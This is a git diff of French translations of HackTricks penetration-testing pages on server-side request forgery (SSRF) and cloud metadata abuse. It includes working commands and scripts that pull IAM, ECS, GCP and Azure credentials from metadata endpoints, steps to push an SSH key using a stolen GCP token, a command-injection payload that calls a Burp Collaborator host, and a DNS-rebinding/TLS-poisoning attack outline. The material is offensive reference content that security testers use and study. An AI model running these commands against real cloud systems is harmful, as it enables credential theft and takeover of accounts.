requête côté serveur (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl`, est donné ci-dessous: ```bash -openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf +openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Téléchargement de fichier Wget](../file-upload/#wget-file-upload-ssrf-trick) ## SSRF avec Injection de Commande -Il pourrait être intéressant d'essayer une charge utile comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` +Il pourrait être intéressant d'essayer une charge utile comme: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Rendu de PDF @@ -172,7 +169,7 @@ Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exp ## SSRF Rediriger vers Gopher -Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection : +Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler @@ -212,7 +209,7 @@ Accédez dès aujourd'hui : ## Contournement CORS/SOP avec DNS Rebidding -Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation : +Si vous avez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation : {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) @@ -222,7 +219,7 @@ Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réattribuer l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible. -Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\* +Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + ID de Session TLS/Ticket de Session @@ -237,9 +234,9 @@ Attaque : 1. Demandez à l'utilisateur/robot d'accéder à un **domaine** contrôlé par l'**attaquant** 2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau) 3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de Session ou du Ticket de Session**. -4. Le **domaine** démarrera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine. +4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine. 5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple) -6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session**/Ticket ID (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. +6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\ Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ @@ -296,7 +293,7 @@ _remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend e ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) -SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF). +SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF). ### Pour s'entraîner @@ -316,8 +313,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index ec997453b..687084ca5 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -24,19 +24,19 @@ Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapi ## AWS -### Abuser de SSRF dans l'environnement AWS EC2 +### Abus de SSRF dans l'environnement AWS EC2 -**Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'URL : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **token** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce token pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF). +Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (il est donc **plus compliqué à exploiter** avec une SSRF). {% hint style="danger" %} -Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2. +Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2. -De plus, **IMDSv2** bloquera également **les requêtes pour obtenir un token qui incluent l'en-tête `X-Forwarded-For`**. Cela est pour empêcher les proxies inverses mal configurés d'y accéder. +De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder. {% endhint %} -Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci : +Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites : ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -96,75 +96,75 @@ echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` -Comme exemple de **crédentials IAM accessibles publiquement** exposées, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) +Comme exemple d'exposition de **credentials IAM publiquement disponibles**, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) -Vous pouvez également vérifier les **crédentials de sécurité EC2** publiques ici : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) +Vous pouvez également vérifier les **credentials de sécurité EC2 publics** sur : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Vous pouvez ensuite prendre **ces crédentials et les utiliser avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission** de faire. +Vous pouvez ensuite **utiliser ces credentials avec l'AWS CLI**. Cela vous permettra de faire **tout ce que le rôle a la permission de faire**. -Pour tirer parti des nouvelles crédentials, vous devrez créer un nouveau profil AWS comme celui-ci : +Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci : ``` [profilename] aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` -Remarquez le **aws\_session\_token**, celui-ci est indispensable pour que le profil fonctionne. +Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fonctionne. -[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour déterminer vos privilèges et essayer d'escalader les privilèges +[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour connaître vos privilèges et essayer d'escalader les privilèges -### SSRF dans les identifiants AWS ECS (Container Service) +### SSRF dans les informations d'identification AWS ECS (Service de conteneurs) -**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à dimensionner votre propre infrastructure de gestion de cluster car ECS gère cela pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison des métadonnées changent**. +**ECS**, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'en charge pour vous. Si vous parvenez à compromettre le service s'exécutant dans **ECS**, les **points de terminaison de métadonnées changent**. -Si vous accédez à _**http://169.254.170.2/v2/credentials/\**_ vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \**. Pour trouver le \, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\ -Vous pourriez être capable de la lire en exploitant une **Path Traversal** vers `file:///proc/self/environ`\ -L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et token**. +Si vous accédez à _**http://169.254.170.2/v2/credentials/\**_ vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \**. Pour trouver le \, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\ +Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\ +L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et le jeton**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` {% hint style="info" %} -Notez que dans **certains cas**, vous pourrez accéder à **l'instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2. +Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2. {% endhint %} ### SSRF pour AWS Lambda -Dans ce cas, **les identifiants sont stockés dans des variables d'environnement**. Donc, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**. +Dans ce cas, les **informations d'identification sont stockées dans des variables d'environnement**. Ainsi, pour y accéder, vous devez accéder à quelque chose comme **`file:///proc/self/environ`**. -Le **nom** des **variables d'environnement intéressantes** sont : +Les **noms** des **variables d'environnement intéressantes** sont : * `AWS_SESSION_TOKEN` * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` -De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont passées à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via [l'interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. +De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. {% hint style="warning" %} -Notez que **les identifiants lambda** sont à l'intérieur des **variables d'environnement**. Donc si la **trace de la pile** du code lambda imprime les variables d'env, il est possible de **les exfiltrer en provoquant une erreur** dans l'application. +Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application. {% endhint %} ### URL SSRF pour AWS Elastic Beanstalk -Nous récupérons l'`accountId` et la `region` depuis l'API. +Nous récupérons l'`accountId` et la `région` à partir de l'API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API. +Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` de l'API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) +![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL) Ensuite, nous utilisons les identifiants avec `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP -Vous pouvez [**trouver ici la documentation sur les points de terminaison des métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). +Vous pouvez [**trouver ici la documentation sur les points de terminaison de métadonnées**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### URL SSRF pour Google Cloud -Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison des métadonnées avec les URL suivantes : +Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison de métadonnées avec les URLs suivantes : * http://169.254.169.254 * http://metadata.google.internal @@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` -Beta ne nécessite PAS actuellement d'en-tête (merci à Mathias Karlsson @avlidienbrunn) +Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` {% hint style="danger" %} -Afin d'**utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire : +Pour **utiliser le jeton du compte de service exfiltré**, vous pouvez simplement faire : ```bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= @@ -285,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX "access_type": "offline" } ``` -Maintenant, poussez la clé SSH. +Maintenant poussez la clé SSH. {% code overflow="wrap" %} ```bash @@ -294,17 +294,15 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` -```markdown {% endcode %} ## Digital Ocean {% hint style="warning" %} -Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées +Il n'y a pas de choses comme les rôles AWS ou le compte de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées {% endhint %} -Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) -``` +Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json @@ -318,7 +316,7 @@ curl http://169.254.169.254/metadata/v1.json | jq ```
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -331,7 +329,7 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi [**Docs** ici](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). * **Doit** contenir l'en-tête `Metadata: true` -* Ne **doit pas** contenir un en-tête `X-Forwarded-For` +* Ne doit **pas** contenir d'en-tête `X-Forwarded-For` {% tabs %} {% tab title="Bash" %} @@ -375,13 +373,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` -```markdown {% endtab %} {% endtabs %} ### Azure App Service -Depuis la variable d'environnement **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées. +À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées. La plupart du temps, vous voulez un jeton pour l'une de ces ressources : @@ -389,7 +386,6 @@ La plupart du temps, vous voulez un jeton pour l'une de ces ressources : * [https://vault.azure.net](https://vault.azure.net/) * [https://graph.microsoft.com](https://graph.microsoft.com/) * [https://management.azure.com](https://management.azure.com/) -``` ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER @@ -461,7 +457,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource ## IBM Cloud {% hint style="warning" %} -Notez que dans IBM par défaut les métadonnées ne sont pas activées, donc il est possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM cloud IBM +Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. {% endhint %} {% code overflow="wrap" %} @@ -488,75 +484,77 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -```markdown {% endcode %} -## Packetcloud +La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées. -Documentation disponible à [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) +## Packetcloud -## OpenStack/RackSpace +Pour accéder aux métadonnées de Packetcloud, la documentation est disponible à l'adresse suivante : +[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) -(en-tête requis ? inconnu) -``` -``` -http://169.254.169.254/openstack -``` -## HP Helion +## OpenStack/RackSpace + +La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être consultées via : +- `http://169.254.169.254/openstack` + +## HP Helion + +La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse : +- `http://169.254.169.254/2009-04-04/meta-data/` + +## Oracle Cloud + +Oracle Cloud propose une série de points de terminaison pour accéder à divers aspects des métadonnées : +- `http://192.0.0.192/latest/` +- `http://192.0.0.192/latest/user-data/` +- `http://192.0.0.192/latest/meta-data/` +- `http://192.0.0.192/latest/attributes/` + +## Alibaba + +Alibaba propose des points de terminaison pour accéder aux métadonnées, y compris les identifiants d'instance et d'image : +- `http://100.100.100.200/latest/meta-data/` +- `http://100.100.100.200/latest/meta-data/instance-id` +- `http://100.100.100.200/latest/meta-data/image-id` + +## Kubernetes ETCD + +Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via : +- `curl -L http://127.0.0.1:2379/version` +- `curl http://127.0.0.1:2379/v2/keys/?recursive=true` + +## Docker + +Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération des informations sur les conteneurs et les images : +- Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker 